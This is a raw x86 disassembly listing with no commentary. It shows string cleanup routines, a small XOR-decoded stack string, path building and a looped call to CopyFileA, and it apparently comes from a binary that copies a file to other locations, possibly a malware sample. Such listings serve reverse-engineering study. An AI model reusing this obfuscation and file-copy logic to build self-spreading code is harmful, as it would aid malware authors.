mov dword [ebp - 0xb8], 0
or edi, 0x200
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xcc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xbc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x16
mov ecx, dword [ebp - 0xe4]
cmp ecx, 0x10
jb 0x43ea20
mov edx, dword [ebp - 0xf8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ea16
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43efad
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov dword [ebp - 0xe8], 0
mov dword [ebp - 0xe4], 0xf
mov byte [ebp - 0xf8], 0
mov byte [ebp - 4], 0x17
mov ecx, dword [ebp - 0xfc]
cmp ecx, 0x10
jb 0x43ea79
mov edx, dword [ebp - 0x110]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ea6f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43efad
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov dword [ebp - 0x100], 0
xor ecx, ecx
mov dword [ebp - 0xfc], 0xf
mov byte [ebp - 0x110], 0
mov dword [ebp - 0x28], 0x100889b
nop dword [eax]
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x28], al
inc ecx
cmp ecx, 2
jb 0x43eaa0
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0x28]
lea eax, [ebp - 0xcc]
mov byte [ebp - 0x25], 0
cmovae eax, dword [ebp - 0xcc]
push ecx
push eax
call fcn.004e2a20
add esp, 8
test eax, eax
je 0x43ed0c
push eax
call fcn.004e62a8
lea ecx, [ebp - 0x4d]
mov word [ebp - 0x23], 0x73
add esp, 4
mov byte [ebp - 0x21], 0
mov word [ebp - 0x4d], 0x5c
lea edx, [ecx + 1]
mov byte [ebp - 0x4b], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43eb00
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x118]
sub eax, edx
cmp eax, ecx
jb 0x43efb8
cmp dword [ebp - 0x114], 0x10
lea eax, [ebp - 0x128]
push ecx
cmovae eax, dword [ebp - 0x128]
lea ecx, [ebp - 0x4d]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x42]
lea ecx, [ebp - 0x174]
call fcn.0046d420
or edi, 0x40000
push esi
lea ecx, [ebp - 0x174]
mov byte [ebp - 4], 0x18
call fcn.004657e0
mov dword [ebp - 0x88], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x84], 0
or edi, 0x80000
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x98], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x88], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x23]
mov byte [ebp - 4], 0x19
push eax
lea ecx, [ebp - 0x98]
call fcn.00465770
mov dword [ebp - 0x70], 0
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x6c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x80], xmm0
or edi, 0x100000
movups xmm0, xmmword [eax]
push 0
movups xmmword [ebp - 0x80], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x70], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xcc]
cmp dword [ebp - 0x6c], 0x10
cmovae ecx, dword [ebp - 0x80]
cmp dword [ebp - 0xb8], 0x10
push ecx
cmovae eax, dword [ebp - 0xcc]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, dword [ebp - 0x6c]
mov esi, eax
cmp ecx, 0x10
jb 0x43ec59
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ec4f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43efad
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov byte [ebp - 4], 0x18
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
cmp ecx, 0x10
jb 0x43eca9
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ec9f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43efad
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov byte [ebp - 4], 0x17
mov ecx, dword [ebp - 0x160]
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0xf
mov byte [ebp - 0x98], 0
cmp ecx, 0x10
jb 0x43ed02
mov edx, dword [ebp - 0x174]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ecf8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43efad
push ecx
push edx
call fcn.004dcbd1
add esp, 8
test esi, esi
je 0x43ed0c
mov byte [ebp - 0x11], 1
jmp 0x43ed21
cmp byte [ebp - 0x37], 0
jne 0x43ed21
push ecx
lea ecx, [ebp - 0x144]
call fcn.0040c000
add esp, 4
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0xb8]
cmp ecx, 0x10
jb 0x43ed5f
mov edx, dword [ebp - 0xcc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ed55
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43efad
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x130]
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
cmp ecx, 0x10
jb 0x43edb8
mov edx, dword [ebp - 0x144]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43edae
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43efad
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov ecx, dword [ebp - 0x9c]
inc ecx
mov dword [ebp - 0x9c], ecx
cmp ecx, dword [ebp - 0x2c]
jb 0x43e3d1
cmp byte [ebp - 0x11], 0
jne 0x43edef
push ecx
lea ecx, [ebp - 0x128]
call fcn.0040c000
add esp, 4
push ecx
lea ecx, [ebp - 0x68]
call fcn.0040c000
add esp, 4
mov ecx, dword [ebp - 0x114]
cmp ecx, 0x10
jb 0x43ee29
mov edx, dword [ebp - 0x128]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ee1f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43efeb
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x43ee5d
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ee53
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43eff0
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov ecx, dword [ebp - 0x178]
cmp ecx, 0x10
jb 0x43ee97
mov edx, dword [ebp - 0x18c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ee8d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43eff5
push ecx
push edx
call fcn.004dcbd1
add esp, 8
lea ecx, [ebp - 0xdc]
mov dword [ebp - 0x17c], 0
mov dword [ebp - 0x178], 0xf
mov byte [ebp - 0x18c], 0
call fcn.00467c60
jmp 0x43eecc
push 0x536240
call fcn.004dbee3
add esp, 4
mov ecx, dword [ebp - 0xa0]
cmp ecx, 0x10
jb 0x43ef15
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43eefc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43effa
push ecx
push edx
call fcn.004dcbd1
add esp, 8
jmp 0x43ef15
push 0x536240
call fcn.004dbee3
add esp, 4
mov ecx, dword [ebp - 0x148]
cmp ecx, 0x10
jb 0x43ef4f
mov edx, dword [ebp - 0x15c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ef45
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43efff
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov ecx, dword [ebx + 0x1c]
mov dword [ebp - 0x14c], 0
mov dword [ebp - 0x148], 0xf
mov byte [ebp - 0x15c], 0
cmp ecx, 0x10
jb 0x43ef9a
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ef90
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43efff
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004e1e70
push eax
call fcn.004dbb7b
call fcn.00402040
push eax
call fcn.004dbb7b
call fcn.00402040
call fcn.004e1e70
call fcn.00402040
call fcn.00402040
call fcn.00402040
call fcn.00402040
call fcn.00402040
call fcn.004e1e70
call fcn.004e1e70
call fcn.004e1e70
call fcn.004e1e70
call fcn.004e1e70
call fcn.004e1e70
int3